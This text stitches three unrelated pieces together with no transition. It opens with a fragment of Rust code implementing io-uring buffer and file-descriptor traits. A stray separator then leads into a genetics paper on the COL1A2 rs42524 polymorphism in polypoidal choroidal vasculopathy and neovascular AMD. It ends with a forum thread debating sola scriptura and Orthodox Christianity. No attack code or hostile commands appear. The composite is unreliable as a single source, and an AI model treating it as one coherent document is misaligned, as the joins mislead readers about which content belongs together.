fn deref(&self) -> &[u8] {
&self.data[..]
}
}
impl DerefMut for RegisteredBuf {
fn deref_mut(&mut self) -> &mut [u8] {
&mut self.data[..]
}
}
impl DerefMut for RegisteredBufMut<'_> {
fn deref_mut(&mut self) -> &mut [u8] {
&mut self.data[..]
}
}
/// A file descriptor that can be used to prepare SQEs.
///
/// The standard library's [`RawFd`] type implements this trait, but so does [`RegisteredFd`], a
/// type which is returned when a user pre-registers file descriptors with an io-uring instance.
pub trait UringFd {
fn as_raw_fd(&self) -> RawFd;
fn update_sqe(&self, sqe: &mut SQE<'_>);
}
impl UringFd for RawFd {
fn as_raw_fd(&self) -> RawFd {
*self
}
fn update_sqe(&self, _: &mut SQE<'_>) { }
}
impl UringFd for RegisteredFd {
fn as_raw_fd(&self) -> RawFd {
AsRawFd::as_raw_fd(self)
}
fn update_sqe(&self, sqe: &mut SQE<'_>) {
unsafe { sqe.raw_mut().fd = self.index as RawFd; }
sqe.set_fixed_file();
}
}
/// A buffer that can be used to prepare read events.
pub trait UringReadBuf {
unsafe fn prep_read(self, fd: impl UringFd, sqe: &mut SQE<'_>, offset: u64);
}
/// A buffer that can be used to prepare write events.
pub trait UringWriteBuf {
unsafe fn prep_write(self, fd: impl UringFd, sqe: &mut SQE<'_>, offset: u64);
}
impl UringReadBuf for RegisteredBufMut<'_> {
unsafe fn prep_read(self, fd: impl UringFd, sqe: &mut SQE<'_>, offset: u64) {
uring_sys::io_uring_prep_read_fixed(
sqe.raw_mut(),
fd.as_raw_fd(),
self.data.as_mut_ptr() as _,
self.data.len() as _,
offset as _,
self.index() as _
);
fd.update_sqe(sqe);
}
}
impl UringReadBuf for &'_ mut [u8] {
unsafe fn prep_read(self, fd: impl UringFd, sqe: &mut SQE<'_>, offset: u64) {
uring_sys::io_uring_prep_read(
sqe.raw_mut(),
fd.as_raw_fd(),
self.as_mut_ptr() as _,
self.len() as _,
offset as _,
);
fd.update_sqe(sqe);
}
}
impl UringReadBuf for io::IoSliceMut<'_> {
unsafe fn prep_read(mut self, fd: impl UringFd, sqe: &mut SQE<'_>, offset: u64) {
uring_sys::io_uring_prep_read(
sqe.raw_mut(),
fd.as_raw_fd(),
self.as_mut_ptr() as _,
self.len() as _,
offset as _,
);
fd.update_sqe(sqe);
}
}
impl UringReadBuf for &'_ mut [&'_ mut [u8]] {
unsafe fn prep_read(self, fd: impl UringFd, sqe: &mut SQE<'_>, offset: u64) {
uring_sys::io_uring_prep_readv(
sqe.raw_mut(),
fd.as_raw_fd(),
self.as_mut_ptr() as _,
self.len() as _,
offset as _,
);
fd.update_sqe(sqe);
}
}
impl UringReadBuf for &'_ mut [io::IoSliceMut<'_>] {
unsafe fn prep_read(self, fd: impl UringFd, sqe: &mut SQE<'_>, offset: u64) {
uring_sys::io_uring_prep_readv(
sqe.raw_mut(),
fd.as_raw_fd(),
self.as_mut_ptr() as _,
self.len() as _,
offset as _,
);
fd.update_sqe(sqe);
}
}
impl UringWriteBuf for RegisteredBufRef<'_> {
unsafe fn prep_write(self, fd: impl UringFd, sqe: &mut SQE<'_>, offset: u64) {
uring_sys::io_uring_prep_write_fixed(
sqe.raw_mut(),
fd.as_raw_fd(),
self.data.as_ptr() as _,
self.data.len() as _,
offset as _,
self.index() as _
);
fd.update_sqe(sqe);
}
}
impl UringWriteBuf for &'_ [u8] {
unsafe fn prep_write(self, fd: impl UringFd, sqe: &mut SQE<'_>, offset: u64) {
uring_sys::io_uring_prep_write(
sqe.raw_mut(),
fd.as_raw_fd(),
self.as_ptr() as _,
self.len() as _,
offset as _,
);
fd.update_sqe(sqe);
}
}
impl UringWriteBuf for io::IoSlice<'_> {
unsafe fn prep_write(self, fd: impl UringFd, sqe: &mut SQE<'_>, offset: u64) {
uring_sys::io_uring_prep_write(
sqe.raw_mut(),
fd.as_raw_fd(),
self.as_ptr() as _,
self.len() as _,
offset as _,
);
fd.update_sqe(sqe);
}
}
impl UringWriteBuf for &'_ [io::IoSlice<'_>] {
unsafe fn prep_write(self, fd: impl UringFd, sqe: &mut SQE<'_>, offset: u64) {
uring_sys::io_uring_prep_writev(
sqe.raw_mut(),
fd.as_raw_fd(),
self.as_ptr() as _,
self.len() as _,
offset as _,
);
fd.update_sqe(sqe);
}
}
impl UringWriteBuf for &'_ [&'_ [u8]] {
unsafe fn prep_write(self, fd: impl UringFd, sqe: &mut SQE<'_>, offset: u64) {
uring_sys::io_uring_prep_writev(
sqe.raw_mut(),
fd.as_raw_fd(),
self.as_ptr() as _,
self.len() as _,
offset as _,
);
fd.update_sqe(sqe);
}
}
|
Introduction
============
Polypoidal choroidal vasculopathy (PCV) is characterized by polyp-like terminal aneurysmal dilations with or without branching choroidal vessels \[[@r1]-[@r4]\]. Although the visual prognoses and potential responses to treatment differ between PCV and neovascular age-related macular degeneration (nAMD), they share several common characteristics, including subretinal hemorrhage, pigment epithelial detachment (PED), and increased prevalence in people more than 50 years of age \[[@r1],[@r2],[@r5]\]. In view of the similarities between nAMD and PCV, several studies have investigated the relationship between the genetic variants associated with both conditions. Although some studies have found a shared genetic background \[[@r6]-[@r10]\], others have found little to no genetic similarity \[[@r11],[@r12]\].
Although the genetics of nAMD have been well studied, investigations into the genes encoding the structural proteins involved in this disease are limited \[[@r13]-[@r16]\]. However, histopathological studies of the choroidal neovascular (CNV) membranes of AMD have found abnormal vessels surrounded by fibrin-like materials \[[@r17]\]. In contrast, the genetic investigation of PCV is just beginning, and only a few studies have conducted single nucleotide polymorphism (SNP) analyses of PCV \[[@r9],[@r12],[@r18]-[@r21]\]. Kuroiwa et al. observed the histopathologic changes of PCV and found vessel wall sclerosis and an increase in basement membrane-like materials and collagen fibers within the wall of polypoidal lesions \[[@r22]\]. Nakashizuka et al. \[[@r23]\] and Okubo et al. \[[@r24]\] also investigated the histopathologic characteristics of PCV lesions and found vessel wall destruction that manifested as wall thickening and apparent hyaline degeneration. These pathologic findings provide an important clue to the possible relationship between nAMD, PCV, and vessel wall destruction.
Collagen destruction can result in a decrease in vessel integrity and an increase in vessel permeability \[[@r25]\]. Type I collagen is the critical component required for maintaining vessel wall elasticity and is an important component of the extracellular matrix \[[@r26]\]. Collagen fiber disintegration in pericellular connective tissue decreases the accumulation of connective tissue in vessel walls, which in turn decreases wall flexibility. This decrease in wall flexibility has been associated with CNV, PCV, and intracranial aneurysm (IA).
Type I collagen is the most abundant connective tissue protein in human organ systems. Type I collagen consists of two alpha-1 and one alpha-2 chains \[[@r27]\]. The alpha-2 type I collagen (*COL1A2*) gene is located in the 7q22.1 locus and encodes the pro-alpha 2 chain protein. The [rs42524](http://www.ncbi.nlm.nih.gov/projects/SNP/snp_ref.cgi?rs=42524) polymorphism in *COL1A2* results in an amino acid substitution, Ala to Pro, at amino acid position 459 and therefore influences the integrity of type I collagen, decreases vessel wall rigidity, and eventually causes the destruction of blood vessel walls \[[@r28]\].
To our knowledge, this is the first investigation into the association between *COL1A2*, PCV, and nAMD. The purpose of our study was to assess the associations of [rs42524](http://www.ncbi.nlm.nih.gov/projects/SNP/snp_ref.cgi?rs=42524) with PCV and nAMD in a Han Chinese population.
Methods
=======
Study population
----------------
A prospective study was conducted on 512 participants including 195 patients with PCV, 136 patients with nAMD, and 181 control individuals. Each participant was examined at the Zhongshan Ophthalmic Center (Guangzhou, China). The patients' medical histories were reviewed. All patients underwent visual acuity testing, slit-lamp biomicroscopy, and ophthalmoscopic examination. Color fundus photography, fluorescein angiography, and indocyanine green angiography were performed in both eyes of the patients with PCV and nAMD. The diagnostic criteria for PCV were polypoidal choroidal vascular dilations with or without branching inner choroidal vessels on indocyanine green angiography \[[@r29]\]. Patients with other neovascularized maculopathies such as retinal angiomatous proliferation, pathological myopia, angioid streaks, central serous chorioretinopathy, presumed ocular histoplasmosis, and other retinal or choroidal diseases that could account for CNV were excluded. All control subjects were unrelated to the case subjects and were aged ≥50 years. All subjects with macular changes such as drusen or pigment abnormalities, macular degeneration of any cause, or media opacities preventing clear observation of the fundus were excluded from recruitment.
The study protocol was approved by the institutional review board at the Zhongshan Ophthalmic Center of Sun Yat-sen University. Informed consent was obtained from all patients before angiography. All procedures adhered to the tenets of the Declaration of Helsinki.
Single nucleotide polymorphism genotyping
-----------------------------------------
Genomic DNA from peripheral blood samples was isolated using the NucleoSpin Blood XL kit (Macherey-Nagel GmbH & Co., KG Düren, Germany) and stored at −20 °C. Genotyping was performed using a PCR restriction fragment length polymorphism assay. Direct sequencing was performed to confirm the restriction patterns for 10% of the samples. [rs42524](http://www.ncbi.nlm.nih.gov/projects/SNP/snp_ref.cgi?rs=42524) in *COL1A2* was genotyped with the Multiplex SNaPshot System with an ABI 3730XL Genetic Analyzer (Applied Biosystems, Foster City, CA). SNP genotypes were determined with GeneMapper software V4.1 (Applied Biosystems). The primer sequences used for the SNP were as follows: forward 5′-CAA GGT GGA AAA GGT GAA CAG-3′ and reverse 5′-AGC TCA ATA GGC TGA CCA AAG-3′. The extension primer was 5′-TTT TTT TTT TTT TTT TTT TTT TTT GGA AGC CTG GAG GAC CAG-3′.
Statistics
----------
A statistical analysis of the data was performed using Statistical Package for the Social Sciences (SPSS) software (version 16.0, SPSS Inc., Chicago, IL). Baseline characteristics between the cases and controls were compared using unpaired Student *t* tests for means and chi-square tests for proportions. An exact test implemented in the [PLINK](http://pngu.mgh.harvard.edu/~purcell/plink/index.shtml) v1.07 software package was used to test for deviations from the Hardy-Weinberg equilibrium \[[@r30]\]. The minor allele was determined based on all case and control subjects. Allele frequencies were compared between cases and controls using chi-square tests along with [PLINK](http://pngu.mgh.harvard.edu/~purcell/plink/index.shtml) as previously described \[[@r14]\]. The logistic option in [PLINK](http://pngu.mgh.harvard.edu/~purcell/plink/index.shtml) was used to provide a test based on logistic regression for the genotypic additive model, and the model option in [PLINK](http://pngu.mgh.harvard.edu/~purcell/plink/index.shtml) was used to provide a chi-square test for the dominant and recessive models. The odds ratio and corresponding 95% confidence interval (CI) were calculated relative to the minor allele and the wild-type homozygote. A p-value \<0.05 was considered statistically significant. The G\* power 3 program (Erdfelder, Faul, & Buchner, Mannheim, Germany) \[[@r31]\] was used to perform post-hoc power analyses.
Results
=======
A total of 512 subjects participated in this study, including 136 patients with nAMD, 195 patients with PCV, and 181 control individuals. The percentage of male patients in the nAMD, PCV, and control populations was 63.2% (86 cases), 66.7% (130 cases), and 61.9% (112 cases), respectively. There was no significant difference between the control group and the PCV (p=0.333) or nAMD (p=0.805) group regarding gender. The mean age of the PCV group (64±8.75 years) was significantly lower than that of the control group (68±9.18 years; p\<0.001). There was no significant age difference between the nAMD group (67±9.29 years) and the control group.
Genotypes were determined using a PCR restriction fragment length polymorphism assay in all patients and were confirmed with direct sequencing in a subset. The population tested in this study did not show any significant deviation from the Hardy--Weinberg equilibrium for the observed genotype (p\>0.1000; [Table 1](#t1){ref-type="table"}).
###### Association test for the minor allele frequency of the rs42524 polymorphism in nAMD, PCV and control subjects
**Status** **Minor allele\*** **HWE** **MAF** **OR (95%CI)** **p-value**
------------ -------------------- --------- --------- ------------------------- -------------
nAMD 1 0.0804 0.5285 (0.2832--0.9866) 0.0425
PCV 0.7345 0.109 1.2110 (0.7631--1.9210) 0.4164
Control G 0.6879 0.0947
nAMD=neovascular age-related macular degeneration; PCV=polypoidal choroidal vasculopathy; MAF=minor allele frequency; HWE=*P*-value of Hardy--Weinberg equilibrium test; OR=odds ratio; 95%CI=95% confidence intervals. \*The minor allele was calculated based on the all cases and control subjects.
[rs42524](http://www.ncbi.nlm.nih.gov/projects/SNP/snp_ref.cgi?rs=42524) was modestly significantly associated with nAMD \[p(allelic)=0.0425, minor allele G: 8.04% in nAMD versus 9.47% in the control\], but not with PCV \[p (allelic)=0.4164, minor allele G: 10.90% in PCV versus 9.47% in the control\]. The odds ratio for the G allele of rs42524 was 0.53 (95% CI, 0.28--0.99) for nAMD and 1.21 (95% CI, 0.76--1.92) for PCV ([Table 2](#t2){ref-type="table"}). The pvalue for this association with nAMD was significant under an additive model, but not under a dominant or recessive model. None of the models showed any statistically significant association with PCV ([Table 2](#t2){ref-type="table"}).
###### Association test for the rs42524 genotype in nAMD, PCV and control subjects
**Group** **Genotype** **Genotype** **Genotype distribution (%)** **p-value**
----------- -------------- ------------------------ ------------------------------- ------------- ------------ ----------- ------------------------- ----------
Model OR(95%CI) P-value Case Control OR(95%CI)
AMD Additive 0.5259 (0.2802-0.9869) 0.0454 CC 121(89.0) 147(81.2) Reference
Dominant 0.5360(0.2788-1.0302) 0.0587 GC 15(11.0) 32(17.7) 0.5695(0.2947-1.1005) 0.1105
Recessive 0.7905(0.6373-0.9805) 0.2188 GG 0 2(1.1) -- --
0.5259(0.2802-0.9869)\* 0.045\*
PCV Additive 1.2080 (0.7632-1.911) 0.4201 CC 152 (77.9) 147(81.2) Reference
Dominant 1.2231(0.7391-2.0241) 0.4329 GC 40(20.5) 32(17.7) 1.2089(0.7207-2.0277) 0.5126
Recessive 1.1134(0.8446-1.4679) 0.7139 GG 3(1.5) 2(1.1) 1.4507(0.2389-8.8071) 1
1.2078(0.7632-1.9115)\* 1.2078\*
nAMD=neovascular age-related macular degeneration; OR=odds ratio; 95% CI=95% confidence interval; PCV=polypoidal choroidal vasculopathy. \* Trend test.
The size of the cohort provides \>80% power to detect significant associations (α=0.017) with an effect size index of 0.2 (corresponding to a weak-to-moderate gene effect). The degrees of freedom were 1 for allelic frequencies and 2 for genotype frequencies. The statistical power to detect changes in allelic frequencies for the nAMD and PCV groups versus the controls was 87.98% and 93.21%, respectively, and the power to detect changes in genotype frequencies was 80.66% and 88.01%, respectively.
Discussion
==========
Both nAMD and PCV are leading causes of blindness and visual impairment in the elderly population. Recently, many studies have found that the two possess different genetic backgrounds, clinical characteristics, and prognoses. These results indicate a strong possibility that PCV and nAMD have different pathogenic mechanisms \[[@r32]-[@r34]\].
In recent analyses of human PCV and AMD specimens, several investigations have suggested a possible role for vessel destruction as a pathogenic mechanism in PCV and AMD. Other studies have sought to identify the related SNPs and finally identified a relationship between elastin (*ELN*) and susceptibility to the two diseases \[[@r13],[@r19],[@r35]\].
Collagen is known to decrease the strength of the vascular wall, thus leading to aneurysm formation. Many collagens play important roles in cell adhesion, the maintenance of tissue architecture, and normal tissue function. Among them, *COL1A2* plays an essential role in the expression of collagen type I in vivo, which is important in development and adult tissue repair \[[@r36],[@r37]\]. The *COL1A2* gene is located on chromosome 7q22.1 and has been identified as a susceptibility gene in many collagen-related problems \[[@r38],[@r39]\]. This gene has also been shown to be involved in vascular development, stabilization, maturation, and remodeling \[[@r40],[@r41]\]. Furthermore, many vascular abnormalities, including stroke, myocardial infarction, and IA, have been found to be due to defects in *COL1A2* \[[@r28],[@r39],[@r42]\]. Given the results of these previous studies, we aimed to discover whether *COL1A2* plays a role in the pathogenesis of PCV or neovascular AMD. To our knowledge, this issue has not yet been investigated.
We previously found that PCV was most likely associated with IA and have documented a variant ([rs10757278](http://www.ncbi.nlm.nih.gov/projects/SNP/snp_ref.cgi?rs=10757278)) in 9p21 shared between the two \[[@r14]\]. An investigation in Japanese patients with IA screened the *COL1A2* gene extensively for suspected SNPs and found a particularly strong association between the polymorphism [rs42524](http://www.ncbi.nlm.nih.gov/projects/SNP/snp_ref.cgi?rs=42524) and IA under a dominant model \[[@r28]\]. Zhu et al. further confirmed the association between *COL1A2* and IA in a Han Chinese population \[[@r43]\]. Thus, in this study, we aimed to discover whether this SNP plays a role in susceptibility to PCV or nAMD.
The results of our case-control study demonstrated that [rs42524](http://www.ncbi.nlm.nih.gov/projects/SNP/snp_ref.cgi?rs=42524) in *COL1A2* is significantly associated with nAMD, which is consistent with recent studies \[[@r44],[@r45]\]. To date, only one group has examined the association between advanced AMD and variants near *COL10A1* ([rs1999930](http://www.ncbi.nlm.nih.gov/projects/SNP/snp_ref.cgi?rs=1999930)) in Caucasian individuals \[[@r44]\]. However, a recent in vitro study found that a reduction in *COL1A2* expression suppressed neovessel growth and curtailed CNV fibrosis \[[@r45]\]. Genome-wide association studies with large cohorts have further strengthened the association between advanced AMD and variants near *COL10A1* ([rs1999930](http://www.ncbi.nlm.nih.gov/projects/SNP/snp_ref.cgi?rs=1999930)) in Caucasian individuals, finding that the development of advanced AMD might be caused in part by extracellular collagen matrix pathways \[[@r44]\].
We found that [rs42524](http://www.ncbi.nlm.nih.gov/projects/SNP/snp_ref.cgi?rs=42524), however, is not associated with PCV. This differential susceptibility of PCV and nAMD agrees with previous studies that found little-to-no overlap between PCV and nAMD susceptibility genes \[[@r11],[@r12]\]. Our previous study also showed a lack of association between PCV and *SERPING1* polymorphisms \[[@r12]\]. The same polymorphisms have been shown to have a protective effect for nAMD \[[@r46]\]. Additionally, a common variant ([rs10757278](http://www.ncbi.nlm.nih.gov/projects/SNP/snp_ref.cgi?rs=10757278)) on chromosome 9p21 was reported to be associated with PCV, but not with nAMD, in a Chinese population \[[@r14]\]. Taken together, these findings may indicate that although PCV and nAMD share similar clinical manifestations, the two may be controlled by different collagen genes.
The main limitations of our study included the relatively small sample size and the fact that not all of the collagen genes were surveyed. These results need to be confirmed in a larger cohort and with comprehensive investigations of all of the collagen genes.
In conclusion, we investigated the association of *COL1A2* ([rs42524](http://www.ncbi.nlm.nih.gov/projects/SNP/snp_ref.cgi?rs=42524)) polymorphisms in PCV and nAMD. We found that [rs42524](http://www.ncbi.nlm.nih.gov/projects/SNP/snp_ref.cgi?rs=42524) is significantly associated with nAMD, but not with PCV. This finding may imply that *COL1A2* gene polymorphisms play an important role in the development of nAMD. Finally, we discovered that the G allele of [rs42524](http://www.ncbi.nlm.nih.gov/projects/SNP/snp_ref.cgi?rs=42524), rather than the C allele, confers nAMD risk.
This study was supported by the National Natural Science Foundation of China (grant number: 81070745), the Medical Scientific Research Foundation of Guangdong Province, China (grant number: B2011108) and the Fundamental Research Funds of State Key Laboratory of Ophthalmology.
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They all claim to be the only ones who understand the Bible and that they interpret scripture 'literally.'
All human judgements can err but the Scriptures cannot and do not err, therefore they themselves are the ultimate and final authority in matters of faith and practice. You will say about this, that it leaves everyone to judge for themselves what the Scriptures mean, and so it is, by necessity. Even if someone chooses to believe that whatever the Church says must be correct, they have chosen what to believe. The question is, have they believed the right thing for the right reasons. The Church saying that the Church is right because the Church is right is not a reason. And if someone says, you can’t know what the Scriptures are apart from the Church telling you what they are, I would need to ask, “What Church?” and “How do you know that?” If they say it is from the Scriptures, they have shown their argument to be circular and largely meaningless, because they would have needed to reference Scripture itself in order to know what Scripture was.
Sounds way too much like sola scriptura and is therefore flawed. Scriptures don't err--those misinterpretations are all pilot errors. Every single protestant who told me scriptures don't err then proceeded to bend, twist, wrangle, and skew their meanings so as to bear little if any semblance to the words on the page.
Read "Sola Scriptura: an Orthodox Analysis of the Cornerstone of Reformation Theology" by Fr. John Whiteford. This method is what has lured 'ten-percenters' into the delusion that they have the right to interpret scripture any way they see fit. These people end up thinking they can just mold God and the Bible into not what it is but what they want it to be, and then run off and start a new sect. I've seen numbers between 20,000 and 38,000 referring to how many Christian denominations there are. Sola Scriptura is the battle axe of the disgruntled.
Between A) not reading the Bible at all and B) reading it but woefully misinterpreting and then misrepresenting it to others, I'd bet God would rather you choose option A and just go get hooked on Sudoku.
Umm, nobody's saying servicemen don't deserve respect. ISTM what Akimori's saying is that being a veteran doesn't mean we're obliged to take the veteran's opinions on matters not pertaining to his service as the final word.
Like when I say the Marine Corps has the best looking uniforms out of all the branches of the US military.
That the Word of God is not self-justifying seems problematic, since it seems to be the methodology of Jesus.
What Scriptures did Jesus (or the Apostles) use? Greek Septuagint? Hebrew text? Aramaic Targums? And I speak as though there was one Septuagint, one Hebrew text, etc., which there were not.* And this also ignores that the Jewish Bible was not set in stone at the time Jesus lived anyway (nor, IMO, was it even set, as is sometimes claimed, at the later Council at Jamnia).
This is not to say that I necessarily disagree. For example, to "All human judgements can err" I said "Says you." I actually agree with that one. My point is that you are throwing these chains of ideas out there as though they are self-evidently true, when they are not. In fact, I think you have some of them completely bass-ackwards.
*Actually that's a fairly amusing thing--that many of the "extra" books in the Septuagint were written after the traditional time/date for the creation of the Septuagint, putting an exclamation point on this collection of texts being a work on progress over the course of a couple centuries.
They all claim to be the only ones who understand the Bible and that they interpret scripture 'literally.'
The Church saying that the Church is right because the Church is right is not a reason.
Really? You seem quite comfortable accepting "the Scriptures" as inerrant and perfect, and yet the very Scriptures you trust are only "the" Scriptures because of the Church saying these Scriptures are "the" Scriptures because the Church says so
By the way, I seriously applaud your faith if you can live with only the Bible, that is remarkable. No disrespect or sarcasm, I am serious. You haven't been trolling, and you've been polite enough to read our responses and consider and reply. Clearly you have faith in the authenticity of the Scriptures as miraculous, which they are. However, and this is the meaning of life, when we become convinced by faith that the Scriptures are the word of God, we must then ask ourselves, "If these Scriptures are God speaking to me, where did they come from? Where can I get more of this?" The answer is the Church
As for me, I came to Church exactly because of the Scriptures, but because the Scriptures come from the Church. It is like reading any novels, if you enjoy a particular book, you look for more by that author. In this case, if you love the Bible, you should come to the Church where the Bible comes from, because in the Church, we love the bible too!
stay blessed,habte selassie
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"Yet stand aloof from stupid questionings and geneologies and strifes and fightings about law, for they are without benefit and vain." Titus 3:10
You haven't been trolling, and you've been polite enough to read our responses and consider and reply. Clearly you have faith in the authenticity of the Scriptures as miraculous, which they are.
Thank you. I do have great love for the Scriptures. I have been playing the devil's advocate, though, and arguing from a Protestant POV. I just don't think I could ever make a good Lutheran, Anglican or Methodist even if I wanted to. It seems that in the end I am stuck with Orthodoxy.
You haven't been trolling, and you've been polite enough to read our responses and consider and reply. Clearly you have faith in the authenticity of the Scriptures as miraculous, which they are.
Thank you. I do have great love for the Scriptures. I have been playing the devil's advocate, though, and arguing from a Protestant POV. I just don't think I could ever make a good Lutheran, Anglican or Methodist even if I wanted to. It seems that in the end I am stuck with Orthodoxy.
If you're feeling 'stuck,' then explore another faith. If your heart's not in it, then in coming to church, you're only taking your body for a walk.
I fault no one for considering other options. Realize that every church on earth is armed with compelling arguments, and through all that, you have to sift through and find the truth. It's like trying to find a needle in a stack of needles, and not just any needle will do. You weren't responding to me but I'm Italian and female so I'm going to respond anyway--I can be just as wrong as the next guy. You've got to make your own choices.
You haven't been trolling, and you've been polite enough to read our responses and consider and reply. Clearly you have faith in the authenticity of the Scriptures as miraculous, which they are.
Thank you. I do have great love for the Scriptures. I have been playing the devil's advocate, though, and arguing from a Protestant POV. I just don't think I could ever make a good Lutheran, Anglican or Methodist even if I wanted to. It seems that in the end I am stuck with Orthodoxy.
You don't have to be "stuck" with anything. Some people create a hybrid of religions while worshiping no one - that's called Unitarian Universalists.
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Our Unitarian Universalist faith has evolved through a long history, with theological origins in European Christian traditions. Today Unitarian Universalism is a non-creedal faith which allows individual Unitarian Universalists the freedom to search for truth on many paths. While our congregations uphold shared principles, individual Unitarian Universalists may discern their own beliefs about spiritual, ethical, and theological issues.
You haven't been trolling, and you've been polite enough to read our responses and consider and reply. Clearly you have faith in the authenticity of the Scriptures as miraculous, which they are.
Thank you. I do have great love for the Scriptures. I have been playing the devil's advocate, though, and arguing from a Protestant POV. I just don't think I could ever make a good Lutheran, Anglican or Methodist even if I wanted to. It seems that in the end I am stuck with Orthodoxy.
You don't have to be "stuck" with anything. Some people create a hybrid of religions while worshiping no one - that's called Unitarian Universalists.
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Our Unitarian Universalist faith has evolved through a long history, with theological origins in European Christian traditions. Today Unitarian Universalism is a non-creedal faith which allows individual Unitarian Universalists the freedom to search for truth on many paths. While our congregations uphold shared principles, individual Unitarian Universalists may discern their own beliefs about spiritual, ethical, and theological issues.
I share your love of the scriptures, though I do stand by my earlier points. But, I also agree that it doesn't help to broadly lambast all Protestants for proclaiming themselves to be the one true church or condemning to hell anyone who does not agree with them. The Church I left was one that held to a unity among Protestants. Even ironically Protestants that didn't share that view and would be all to happy to condemn them. I know some of that sort also.
I have been playing the devil's advocate, though, and arguing from a Protestant POV. I just don't think I could ever make a good Lutheran, Anglican or Methodist even if I wanted to. It seems that in the end I am stuck with Orthodoxy.
Well, that explains a few things. So is there any actual crisis of faith that we can help with? Not that there has to be, of course, just wanting to be helpful if needed.
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Psalm 37:23 The Lord guides a man safely in the way he should go.
Prov. 3: 5-6 Trust in the Lord with all your heart, lean not on your own understanding; in all your ways acknowledge Him, and He will direct your paths.
You haven't been trolling, and you've been polite enough to read our responses and consider and reply. Clearly you have faith in the authenticity of the Scriptures as miraculous, which they are.
Thank you. I do have great love for the Scriptures. I have been playing the devil's advocate, though, and arguing from a Protestant POV. I just don't think I could ever make a good Lutheran, Anglican or Methodist even if I wanted to. It seems that in the end I am stuck with Orthodoxy.
Big Chris, judging from many of your recent posts and ideas, you seem to be stuck in a lucid state of doubt and uncertainty. If you do not mind my advice, I would recommend perhaps spending a period of time at a monastery or performing something ascetic like a solitary fasting period or something. Maybe it would help you clear out your mind and decide what you want to do.
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Until I see the resurrection of the dead and the life of the world to come, I will not believe.
I can't help but think of all the intelligent men, more experienced in Church history than any of us here, who lived and died as Protestants - men like Bruce Metzger, Henry Chadwick, Dietrich Bonhoeffer, Francis Schaeffer, etc.. If it was good enough for them, why not me?
Do you know what everyone on the board knows? If not then how can you assume that the ones you named know more about Church history than everyone here? You do know that their are college professors as well as others here who either don't post as much or not at all, but they are here. I chatted with a couple through e-mail. Also, as a former protestant, I already know of alot of various protestant church history scholars from different protestant churches. Everything from the churches of christ, to Baptist, Anabaptist, to Methodist, to Lutheran, Presbyterian, Anglican, Congregationalist to even Assembly of God. And so I already know about a number of them. I knew about a good chunk of them even way back in my protestant years.
And so there is nothing wrong in reading good secondary and Tertiary protestant sources when it comes to church history, but nothing beats reading the primary sources for yourselves. I personally do both! It's a hobby of mine since 1997/1998.
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There's a large non-denominational church right down the road from me.
There is no such thing as non-denominational. Why not read history books about the various kinds of Protestantism?
I've noticed what you said about "One Holy Catholic and Apostolic Church". Do you know what the bishops of 381 A.D. believed about that? They believed it meant all those who were in communion with them at the time. That is what it originally meant. The nonsense of a lower "c" catholic is nothing more than a modern protestant concept that they read back into the text.
What I've noticed over the years is that it's best to read multiple protestant sources when it comes to church history for you won't get the full scope nor the full depth of everything if you just rely on one. But what I would like you to do is read the pre-nicene fathers, nicen fathers, and post nicene fathers for yourself, along with the protestant, Roman Catholic, and Orthodox church historians.
Then compare them when it comes to the issues of:
1.) The Trinity, especially in regards to the role of the Father. Pay attention to the details and see who is more faithful to the original interpretation
2.) Christology, pay attention to the details, and see which group is more faithful to the 3rd, 4th, 5th, and 6th Ecumenical councils and the theology behind those councils.
3.) The Church (Apostolic Succession included.....for you will see that when you read some of the fathers and witnesses), pay close attention to the details and see which group/groups is more faithful to the interpretations of the first 1,000 years.
4.) The Eucharist and Water Baptism, pay close attention to the details and see which groups are the closest to the interpretations of the first 1,000 years.
5.) Free Will, pay very close attention to the details and see which group is more faithful when it comes to this issue.
Do this and then you will understand why most protestant groups will be automatically crossed out when it comes to the issue of what is the Historic Christian Faith. What it always was and what it always will continue to be!
« Last Edit: June 05, 2012, 04:09:04 AM by jnorm888 »
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"loving one's enemies does not mean loving wickedness, ungodliness, adultery, or theft. Rather, it means loving the theif, the ungodly, and the adulterer." Clement of Alexandria 195 A.D.
Even someone like Maximum Bob admits to at one time being honestly confident of his call to be a minister and various other paths.
Someone like? I don't know that I used the word confident anywhere but it was a fair and accurate thing to imply from what I said.
Honestly, I think you're the only person participating in this thread who intimately understands what I'm currently experiencing. Perhaps that's for no other reason than you, too, have not yet fully committed yourself to Orthodoxy, or maybe it's because you're capable of seeing the good and unity among Protestants.
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So is there any actual crisis of faith that we can help with? Not that there has to be, of course, just wanting to be helpful if needed.
What I should have said is that these last few posts I've been using some "strong" Protestant objections a la Christopher Neiswonger, a Protestant my own age whom I sort of envy for many reasons but mostly because he's thoroughly convinced of the Protestant dialectic and can defend such with great rhetorical skills.
There is definitely a crisis, though. In my heart of hearts, I currently think Orthodoxy is the summit of my spiritual journey. My faith in Christ has never been more stable. Even as I've wrestled with thoughts of becoming Lutheran or Anglican, it's been Orthodoxy that has sustained my faith and my prayer life. And my thoughts continually refer back to my OCA priest, whom I now regard as a spiritual father. I don't think I'm so much worried about 'what if Protestantism is right' but rather 'what if Orthodoxy is wrong'. While I truly am amazed that a respected scholar like James. D.G. Dunn can be Methodist or N.T. Wright can be Anglican, convinced as they might be of the invisible church rhetoric and other doctrinal matters, I can't see either Methodism or Anglicanism working for me, sustaining my faith. Though I've read Luther, and even agreed with him and some 20th century Lutheran theologians on several points, becoming Lutheran still seems like a regression for me. What I've realized from reading Luther is that I disagree with the ecclesial and doctrinal structure of Roman Catholicism - yet, the developments in Lutheranism since Luther are, if nothing, less than satisfactory. They certainly haven't been stable. I think the faith of Bonhoeffer closely resembles Orthodoxy more than Lutheranism these days.
Realizing this, though, two things concern me: There was a time when I was thoroughly convinced that the RCC was the true, apostolic church. However, I also now realize that the reason why I believed this is because Orthodoxy was barely on my radar, the mission church which I currently attend was then holding Liturgy in a hotel room, and I blindly accepted some apologist's claim that EO was schismatic. Now, having read about the history of the churches much more thoroughly, having researched the ECF, and having become disaffected with the current abuses of the RCC, I am more convinced now that I can no longer remain RC and must seek shelter elsewhere. However this is where my second concern comes in: Convinced as I may be about the historical roots of EO and their connection to contemporary Orthodoxy, realizing that Orthodoxy is most likely the best soil to plant my roots, being an inquirer and having to go through the catechumenate process makes me feel alienated, homeless and in limbo. I feel like a shipwrecked sailor clutching a piece of driftwood hovering over the abyss. And it is for this reason that I'm grasping for any reason whatsoever not to become Orthodox.
Even someone like Maximum Bob admits to at one time being honestly confident of his call to be a minister and various other paths.
Someone like? I don't know that I used the word confident anywhere but it was a fair and accurate thing to imply from what I said.
